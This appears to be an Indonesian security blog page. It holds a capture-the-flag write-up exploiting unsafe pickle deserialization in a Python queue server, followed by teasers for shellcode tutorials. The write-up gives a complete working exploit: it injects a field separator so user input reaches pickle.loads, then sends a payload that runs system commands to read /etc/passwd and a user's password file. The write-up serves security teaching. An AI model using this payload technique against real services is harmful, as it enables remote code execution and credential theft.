class QueueHttpServer(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(404)
        self.send_header('Content-type','text/plain')
        self.end_headers()

        output = { 'result' : "Hello there! Try POSTing your payload. I'll be happy to capitalize it for you." }
        self.wfile.write(json.dumps(output))
        self.wfile.close()

    def do_POST(self):
        length = int(self.headers.getheader('content-length'))
        post_data = self.rfile.read(length)
        raw_data = urllib.unquote(post_data)

        queue = QueueServer()
        job = Job()
        type, data, job = queue.run_job(data=raw_data, job=job)
        if job:
            status = 200
            output = { 'result' : data, 'processing_time' : job.completed - job.started, 'queue_time' : time.time() - job.created }
        else:
            status = 504
            output = { 'result' : data }

        self.send_response(status)
        self.send_header('Content-type','text/plain')
        self.end_headers()
        self.wfile.write(json.dumps(output, sort_keys=True, indent=4))
        self.wfile.write('\n')
        self.wfile.close()

def run_server():
    try:
        server = HTTPServer(('127.0.0.1', 9020), QueueHttpServer)
        logger.info('Starting QueueServer')
        server.serve_forever()
    except KeyboardInterrupt:
        logger.info('^C received, shutting down server')
        server.socket.close()

def run_worker():
    worker = QueueWorker()
    worker.poll()

def main():
    parser = optparse.OptionParser("""%prog [options] type""")
    parser.add_option('-v', '--verbosity', help='Verbosity of debugging output.',
                      dest='verbosity', action='count', default=0)
    opts, args = parser.parse_args()
    if opts.verbosity == 1:
        logger.setLevel(logging.INFO)
    elif opts.verbosity >= 2:
        logger.setLevel(logging.DEBUG)

    if len(args) != 1:
        parser.print_help()
        return 1

    if args[0] == 'worker':
        run_worker()
    elif args[0] == 'server':
        run_server()
    else:
        raise ValueError('Invalid type %s' % args[0])

    return 0

if __name__ == '__main__':
    sys.exit(main())

Ini adalah aplikasi web yang dibuat dengan bahasa python. Aplikasi ini memakai module pickle yang diketahui dangerous bila tidak berhati-hati memakainya. Artikel sour pickle di blackhat-USA 2011 ini menjelaskan tentang eksploitasi pickle.

Problem utamanya adalah pada fungsi deserialize() di bawah ini:

    def deserialize(serialized):
        logger.debug('Deserializing: %r' % serialized)
        parser = re.compile('^type: (.*?); data: (.*?); job: (.*?)$', re.DOTALL)
        match = parser.match(serialized)
        direction = match.group(1)
        data = match.group(2)
        job = pickle.loads(match.group(3))
        return direction, data, job

Pada baris ke-7 ada pemanggilan fungsi pickle.loads() untuk mengubah string menjadi object (deserialize). Fungsi load ini bisa diexploitasi untuk mengeksekusi command shell bila string yang diload adalah string yang malicious.

Sebelumnya mari kita coba menjalankan aplikasi ini di system sendiri agar lebih leluasa melihat lognya. Dengan menjalankan command:

curl localhost:9020 -d 'testdata' 

Berikut ini adalah log yang terlihat:

Deserializing: "type: JOB; data: testdata; job: ccopy_reg\n_reconstructor\np0\n(c__main__\nJob\np1\nc__builtin__\nobject\np2\nNtp3\nRp4\n(dp5\nS'started'\np6\nNsS'completed'\np7\nNsS'id'\np8\nS'zHVfBIZvbnpXpPOgCmTG'\np9\nsS'created'\np10\nF1330412913.7635019\nsb."
TEST ini JOBnya lhooo--> "ccopy_reg\n_reconstructor\np0\n(c__main__\nJob\np1\nc__builtin__\nobject\np2\nNtp3\nRp4\n(dp5\nS'started'\np6\nNsS'completed'\np7\nNsS'id'\np8\nS'zHVfBIZvbnpXpPOgCmTG'\np9\nsS'created'\np10\nF1330412913.7635019\nsb." <--

Pada baris ke-2 adalah log yang saya tambahkan sendiri untuk melihat string yang akan di load oleh pickle. Input program ini ada 3 field: type, data dan job. Terlihat bahwa string yang diload oleh pickle adalah field job yang bukan berasal dari input user, sedangkan string yang diinput user ("testdata") tidak ikut diload oleh pickle karena bukan bagian dari field job.

Ide serangannya adalah dengan menginjeksi malicious string yang bila diload oleh pickle akan mengeksekusi command. Contoh string yang malicious adalah:

cos
system
(S'cat /etc/passwd'
tR.

String di atas bila diload oleh pickle akan mengeksekusi command "cat /etc/passwd".

Tapi masalahnya adalah string yang kita masukkan sebagai input tidak ikut diload oleh pickle karena input user masuk dalam field data, bukan field job. Bagaimanakah caranya agar input user dianggap sebagai bagian dari field job ?

Dari fungsi deserializae() terlihat ada regular expression yang memecah sebuah string menjadi 3 field: type, data dan job. Tiga field tersebut dipisahkan oleh karakter ';'. Bagaimana bila kita memasukkan input string yang mengandung karakter ';' seperti ini:

curl localhost:9020 -d 'inidata; job: inijob'

Berikut adalah log yang terlihat:

Deserializing: "type: JOB; data: inidata; job: inijob; job: ccopy_reg\n_reconstructor\np0\n(c__main__\nJob\np1\nc__builtin__\nobject\np2\nNtp3\nRp4\n(dp5\nS'started'\np6\nNsS'completed'\np7\nNsS'id'\np8\nS'CqFtmBmXTVmVDDhfgSUe'\np9\nsS'created'\np10\nF1330413858.050092\nsb."
TEST ini JOBnya lhooo--> "inijob; job: ccopy_reg\n_reconstructor\np0\n(c__main__\nJob\np1\nc__builtin__\nobject\np2\nNtp3\nRp4\n(dp5\nS'started'\np6\nNsS'completed'\np7\nNsS'id'\np8\nS'CqFtmBmXTVmVDDhfgSUe'\np9\nsS'created'\np10\nF1330413858.050092\nsb." <--

Perhatikan bahwa sebagian dari string yang kita input kini menjadi bagian dari field job dan ikut diload oleh pickle. Ini karena regular expression mendeteksi adanya karakter ';' dalam input string kita sehingga menganggap sebagai batas field dan memasukkan string 'inijob' menjadi bagian dari field job.

Oke kini kita sekarang sudah berhasil menginjeksi string ke dalam field job yang akan diload oleh pickle. Sekarang tinggal bagaimana menyusun payload yang valid untuk diinjeksikan ke dalam aplikasi. Dengan payload sederhana di bawah ini password level06 bisa didapatkan.

$ cat payload.pkl
cos
system
(S'cat /home/level06/.password > /tmp/levelsixx'
tR.
$ curl localhost:9020 -d "hajar; job: `cat payload.pkl`"
{
    "result": "Job timed out"
}
$ cat /tmp/levelsixx
SF2w8qU1QDj

Belajar Membuat Shellcode (III): Semi-Polymorphic Shellcode

Sebelumnya saya minta maaf dulu karena absen cukup lama menulis di blog ini. Saya terakhir menulis tentang  pembuatan shellcode, untuk local  maupun remote exploit. Seharusnya kali ini saya menulis mengenai cara memakai shellcode itu dalam exploit, namun ada satu hal yang menarik untuk ditulis sebelum masuk ke pembahasan exploit, yaitu semi-polymorphic shellcode. Nanti pada artikel selanjutnya saya akan bahas true-polymorphic shellcode.

Apa itu Polymorphic Shellcode

Secara bahasa polymorphic artinya banyak bentuk. Polymorphic shellcode adalah shellcode yang mempunyai banyak bentuk. Dari satu induk shellcode yang sama bisa dilahirkan banyak sekali shellcode yang berbeda-beda dalam level bit, maksudnya bila dilihat bit per bit semua shellcode tersebut berbeda total, padahal semua berasal dari satu induk.

Continue reading

Belajar Membuat Shellcode (II): Remote Exploit Shellcode

Dalam artikel sebelumnya saya sudah menjelaskan dasar-dasar pembuatan shellcode. Saya sudah menjelaskan pembuatan shellcode untuk local exploit. Nah kali ini saya akan lanjutkan lagi untuk membuat shellcode yang dipakai untuk exploit secara remote.

Remote Exploit

Remote exploit adalah teknik exploitasi yang dilakukan secara remote melalui jaringan. Exploit jenis ini biasanya menyerang server/daemon yang sedang “LISTEN” di port tertentu.

Perbedaan utama antara local exploit dan remote exploit adalah pada kondisi awalnya. Pada local exploit, sejak awal attacker sudah memiliki shell access baik melalui ssh, telnet atau remote desktop connection, namun dengan hak akses terbatas (sebagai normal user). Sedangkan pada remote exploit, kondisi awal attacker adalah tidak memiliki akses shell. Akses shell yang saya maksud adalah kemampun untuk execute suatu file executable.

Jadi pada local exploit, tujuannya adalah privilege escalation atas hak akses yang terbatas tersebut menjadi tidak terbatas (root/administrator). Sedangkan pada remote exploit, karena pada awalnya tidak punya akses shell, maka remote exploit berusaha mendapatkan akses shell, baik sebagai user biasa maupun sebagai super user (root/administrator).

Continue reading

Belajar Membuat Shellcode (I): Local Exploit Shellcode

Seringkali shellcode terlihat dalam source code exploit berbentuk untaian kode-kode hexa. Sebenarnya apa itu shellcode dan apa makna di balik kode-kode hexa itu? Dalam artikel ini saya akan menjelaskan tentang shellcode dan kita juga akan praktek belajar membuat shellcode sendiri.

Shellcode, Exploit dan Vulnerability

Shellcode, exploit dan vulnerability adalah 3 saudara kandung. Semua berawal dari keteledoran sang  programmer sehingga programnya mengandung vulnerability yang bisa di-exploit untuk membuat program tersebut menjalankan code apapun yang diinginkan hacker (arbitrary code execution), code ini disebut dengan shellcode.

Dalam kondisi normal, program mengikuti instruksi yang dibuat oleh penciptanya (programmer). Hacker bisa membuat program mengikuti perintahnya dan mengabaikan perintah penciptanya dengan mengexploit vulnerability yang mengakibatkan arbitrary code execution

Continue reading